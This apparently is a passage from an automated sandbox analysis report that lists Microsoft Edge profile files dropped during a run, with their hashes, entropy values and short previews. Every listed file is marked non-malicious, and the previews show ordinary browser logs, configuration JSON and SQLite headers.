Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	358860
Entropy (8bit):	5.3246090689912196
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6RY:C1gAg1zfvA
MD5:	62283F010699BDA95E4FA0CD15FFFAEE
SHA1:	138DE92F1E504EEFEE07D6F67A528AD4836B5F18
SHA-256:	64F733C8DF951A83EB6E55F90BEDB9970D3EED8BA577486EB4058D1FB9D4AFE6
SHA-512:	7768DF816C271639CD8CD599BC438C84C5D0EA866D1676762366B15CC0D79427DC9B8BBF11D1A3E17C53CC818FA6352B703EE46A5015700BFFCA108DC6569FA8
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.153891139200289
Encrypted:	false
SSDEEP:	6:yR5eIwL+q2PcNwi23oH+Tcwt8aPrqIFUt85R5e2111Zmw+5R5e21jLVkwOcNwi2E:yPeIwyvLZYebL3FUt85PecX/+5PecjR3
MD5:	546A0E1F250B6F74931C41F8ACD14D40
SHA1:	133F30D8BA4AC4B4A51E4C2BF1F2C796B5FDED50
SHA-256:	72032513709BC85DF74AAE8400BAC7CCB01443C6739444AEF23A055204A37B04
SHA-512:	C79969DA01D405E56A5D052D6E6898AA1B59F23BF631BBB59C059E56A9FD8CDC91C2CB7F9AFB342F5457479A1C4ACB080234CB17D4023E78C1877C5868709BDE
Malicious:	false
Preview:	2024/12/01-21:07:46.016 1f18 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/12/01-21:07:46.017 1f18 Recovering log #3.2024/12/01-21:07:46.017 1f18 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.153891139200289
Encrypted:	false
SSDEEP:	6:yR5eIwL+q2PcNwi23oH+Tcwt8aPrqIFUt85R5e2111Zmw+5R5e21jLVkwOcNwi2E:yPeIwyvLZYebL3FUt85PecX/+5PecjR3
MD5:	546A0E1F250B6F74931C41F8ACD14D40
SHA1:	133F30D8BA4AC4B4A51E4C2BF1F2C796B5FDED50
SHA-256:	72032513709BC85DF74AAE8400BAC7CCB01443C6739444AEF23A055204A37B04
SHA-512:	C79969DA01D405E56A5D052D6E6898AA1B59F23BF631BBB59C059E56A9FD8CDC91C2CB7F9AFB342F5457479A1C4ACB080234CB17D4023E78C1877C5868709BDE
Malicious:	false
Preview:	2024/12/01-21:07:46.016 1f18 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/12/01-21:07:46.017 1f18 Recovering log #3.2024/12/01-21:07:46.017 1f18 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.199311535971501
Encrypted:	false
SSDEEP:	6:yR5/zL+q2PcNwi23oH+Tcwt865IFUt85R5C1Zmw+5R59zLVkwOcNwi23oH+TcwtD:yP/zyvLZYeb/WFUt85PU/+5PdR54ZYev
MD5:	36B2612993928965B27E4725BD223C9D
SHA1:	C5573BF9634FEA9529281ABE00E0FD8689BDA894
SHA-256:	4467F59619EE35EBCDF3C93C3652C196693EB977193A991D22D9A8F0F942234C
SHA-512:	742BF4D082AC82C3DD53CFA1DC9543DD119C02FA45A436C50F6C5FF2F9FB6F5AA4CDA599603775C1F062A83FCFE47FD1BED4793F463B1643763B5364C6CD82CE
Malicious:	false
Preview:	2024/12/01-21:07:46.154 1f18 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/12/01-21:07:46.155 1f18 Recovering log #3.2024/12/01-21:07:46.156 1f18 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.199311535971501
Encrypted:	false
SSDEEP:	6:yR5/zL+q2PcNwi23oH+Tcwt865IFUt85R5C1Zmw+5R59zLVkwOcNwi23oH+TcwtD:yP/zyvLZYeb/WFUt85PU/+5PdR54ZYev
MD5:	36B2612993928965B27E4725BD223C9D
SHA1:	C5573BF9634FEA9529281ABE00E0FD8689BDA894
SHA-256:	4467F59619EE35EBCDF3C93C3652C196693EB977193A991D22D9A8F0F942234C
SHA-512:	742BF4D082AC82C3DD53CFA1DC9543DD119C02FA45A436C50F6C5FF2F9FB6F5AA4CDA599603775C1F062A83FCFE47FD1BED4793F463B1643763B5364C6CD82CE
Malicious:	false
Preview:	2024/12/01-21:07:46.154 1f18 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/12/01-21:07:46.155 1f18 Recovering log #3.2024/12/01-21:07:46.156 1f18 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.167655093075877
Encrypted:	false
SSDEEP:	6:yR54CFIt+q2PcNwi23oH+Tcwt8NIFUt85R54SdXZmw+5R54BvsVkwOcNwi23oH+y:yPXfvLZYebpFUt85Pt/+5PaM54ZYebqJ
MD5:	4201EBC355E0B6954B63073AA0349E2E
SHA1:	B8F6A29BB8FAD0ECE0466E6DE1FAB4496BD4176E
SHA-256:	7FF57A59C7000509C7529AB2A44B6A2A1D5F70E6AFEB0211D5B7E914E65D0490
SHA-512:	42475C6398B4670AF4A49CA61E70441EB32C978A6BA9788200FB1128B62327A88A92528C490059721CB4505132E2A9D5C45B27DBA08121D125170CD45EA9950F
Malicious:	false
Preview:	2024/12/01-21:07:47.230 15c8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/12/01-21:07:47.231 15c8 Recovering log #3.2024/12/01-21:07:47.240 15c8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.167655093075877
Encrypted:	false
SSDEEP:	6:yR54CFIt+q2PcNwi23oH+Tcwt8NIFUt85R54SdXZmw+5R54BvsVkwOcNwi23oH+y:yPXfvLZYebpFUt85Pt/+5PaM54ZYebqJ
MD5:	4201EBC355E0B6954B63073AA0349E2E
SHA1:	B8F6A29BB8FAD0ECE0466E6DE1FAB4496BD4176E
SHA-256:	7FF57A59C7000509C7529AB2A44B6A2A1D5F70E6AFEB0211D5B7E914E65D0490
SHA-512:	42475C6398B4670AF4A49CA61E70441EB32C978A6BA9788200FB1128B62327A88A92528C490059721CB4505132E2A9D5C45B27DBA08121D125170CD45EA9950F
Malicious:	false
Preview:	2024/12/01-21:07:47.230 15c8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/12/01-21:07:47.231 15c8 Recovering log #3.2024/12/01-21:07:47.240 15c8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.2191763562065486
Encrypted:	false
SSDEEP:	3:alLvtFlljq7A/mhWJFuQ3yy7IOWU+994dweytllrE9SFcTp4AGbNCV9RUIz1:aC75fOk9ud0Xi99pEYn
MD5:	D39DB9699DF605E606F4505A5382F591
SHA1:	13919A5329753F7378388BE85A4F2CD9FCFF576D
SHA-256:	896D923FB3CE02A40049F9CD8335C52CB8C522054951534486B02D6B1E7D9F1B
SHA-512:	FD5F5BB572D30B400C7BC4AE3B34A4D208E7242F8F84E040A039406D002A8DC7624C90B37DD67EDEFFC2B657D00A0804B92950CC57E5BF7D8CE42ADF1B25ABF0
Malicious:	false
Preview:	..............X....&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.6481260415575596
Encrypted:	false
SSDEEP:	384:aj9P012QkQerkjlxP/KbtLcg773pL9hCgam6ItRKToaAu:adPe2mlxP/Ng7Pv9RKcC
MD5:	8D3B8E3A72C40BAD6B53D27E09419923
SHA1:	561B9DDED7215DE5C2D7E4FDB64D5EB8A010A62C
SHA-256:	4C7F428D712485570F5840B0FA241809A64B9AF4D3BB4055663DAED3F371F09C
SHA-512:	B77E85B650C227FBAE00CBCBF0C87D6C883ABEAA0255D740CDFA2EE41E2E6E5DEB971CF51649C3399815AC058F1B175C7BBF2FC3CEC983B6ACEF67C2323EB624
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	414
Entropy (8bit):	5.259248144032967
Encrypted:	false
SSDEEP:	12:yaOvLZYeb8rcHEZrELFUt85pZ/+5pz54ZYeb8rcHEZrEZSJ:yaMlYeb8nZrExg85p0ploYeb8nZrEZe
MD5:	9FFC955D8C6776E1E41B1C83F554F45B
SHA1:	3E1DAA45C68C0D9AD87BFB3F9BE385523E0595FA
SHA-256:	4C8E2345BE83B9AD2993101ADAB782C940CD27F9510786262FF9CDD8D6B944EF
SHA-512:	003327677DBFFC47DD5F2FF40DBCF22E9BAC71563E2F0A7D10747DA03B31D14AF16C76CEDC5003636077B775AF902EE849AA4DF86D2231C123EA4D0E01066997
Malicious:	false
Preview:	2024/12/01-21:07:50.173 15c8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/12/01-21:07:50.174 15c8 Recovering log #3.2024/12/01-21:07:50.174 15c8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	414
Entropy (8bit):	5.259248144032967
Encrypted:	false
SSDEEP:	12:yaOvLZYeb8rcHEZrELFUt85pZ/+5pz54ZYeb8rcHEZrEZSJ:yaMlYeb8nZrExg85p0ploYeb8nZrEZe
MD5:	9FFC955D8C6776E1E41B1C83F554F45B
SHA1:	3E1DAA45C68C0D9AD87BFB3F9BE385523E0595FA
SHA-256:	4C8E2345BE83B9AD2993101ADAB782C940CD27F9510786262FF9CDD8D6B944EF
SHA-512:	003327677DBFFC47DD5F2FF40DBCF22E9BAC71563E2F0A7D10747DA03B31D14AF16C76CEDC5003636077B775AF902EE849AA4DF86D2231C123EA4D0E01066997
Malicious:	false
Preview:	2024/12/01-21:07:50.173 15c8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/12/01-21:07:50.174 15c8 Recovering log #3.2024/12/01-21:07:50.174 15c8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.14912344220252
Encrypted:	false
SSDEEP:	6:yR54zj+q2PcNwi23oH+Tcwt8a2jMGIFUt85R54zVZmw+5R54xUuY3VkwOcNwi234:yPk6vLZYeb8EFUt85PkV/+5Pt54ZYebw
MD5:	1C6D4C3EB856950CD46724A532F056AF
SHA1:	1310FFB185DA21DC56A92511D83DE61912BEAABC
SHA-256:	31775264759FF3787D3FB09C3F0B43A013CA4F5F6847F8062989C00EC2E21B86
SHA-512:	64E8C65A8E3710089BADD4D3C096CE4F7FFF19D1969749E002C413EA670A54062EE42EF284BAA671625B6C6E29D7C947C9F92BBB89DCBB464346D486EC49E95B
Malicious:	false
Preview:	2024/12/01-21:07:47.402 1d38 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/12/01-21:07:47.408 1d38 Recovering log #3.2024/12/01-21:07:47.421 1d38 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.14912344220252
Encrypted:	false
SSDEEP:	6:yR54zj+q2PcNwi23oH+Tcwt8a2jMGIFUt85R54zVZmw+5R54xUuY3VkwOcNwi234:yPk6vLZYeb8EFUt85PkV/+5Pt54ZYebw
MD5:	1C6D4C3EB856950CD46724A532F056AF
SHA1:	1310FFB185DA21DC56A92511D83DE61912BEAABC
SHA-256:	31775264759FF3787D3FB09C3F0B43A013CA4F5F6847F8062989C00EC2E21B86
SHA-512:	64E8C65A8E3710089BADD4D3C096CE4F7FFF19D1969749E002C413EA670A54062EE42EF284BAA671625B6C6E29D7C947C9F92BBB89DCBB464346D486EC49E95B
Malicious:	false
Preview:	2024/12/01-21:07:47.402 1d38 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/12/01-21:07:47.408 1d38 Recovering log #3.2024/12/01-21:07:47.421 1d38 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\0d5e0cd6-c995-4712-9303-7f9154b282f4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\34bb71e7-5bd1-4d16-953a-98831a1d4612.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\58b9beca-7ea0-4f53-bdae-a2312bcdcf43.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\8232c1f4-05d9-4544-8f26-6aec678c90d9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1618
Entropy (8bit):	5.302994819295006
Encrypted:	false
SSDEEP:	48:YcCpWsduCvsafc7leeBRsygCgkhYhbyD0:F2vu22keBxukOhn
MD5:	90B46E2386024DB7264E402160E5F3B4
SHA1:	3B2E2F784405DFE32CFE038FAF9F0121224877BB
SHA-256:	C56B810798569D26A6B771B8DED39C12F26FAC419F019BC878C6B001FBFA501D
SHA-512:	FA97B24F01A6378FA4A2B3875E9694AC90F0C469E14675FE657DB2F6728C9C9A5D665766F97FE72F533AA89E38C0F0B700C364B85C75867AB6F0083EDD05B186
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343557218151956","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343557218812706","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.3557751414143633
Encrypted:	false
SSDEEP:	96:te+AuDfRfPgUx+cP1ycdsqorxgKSG1TX08:tT777yxX08
MD5:	4D17650A9A2A4FEDB370A1B08C7B398B
SHA1:	BEC9D077D3F9C5604DBFC631AC7D62E484FDFCAB
SHA-256:	2AB54EDE4F9780B0A221982A29630E30B86DD69360125C61ABB2D51E33B426FA
SHA-512:	907846A624DB1E8857A91040055860A8963FC906CB403BF243438522DEBC2911861B03B308A5D4467CC1331EEE14BCA722117E145E2CE6ECDDA832E17D0839A5
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
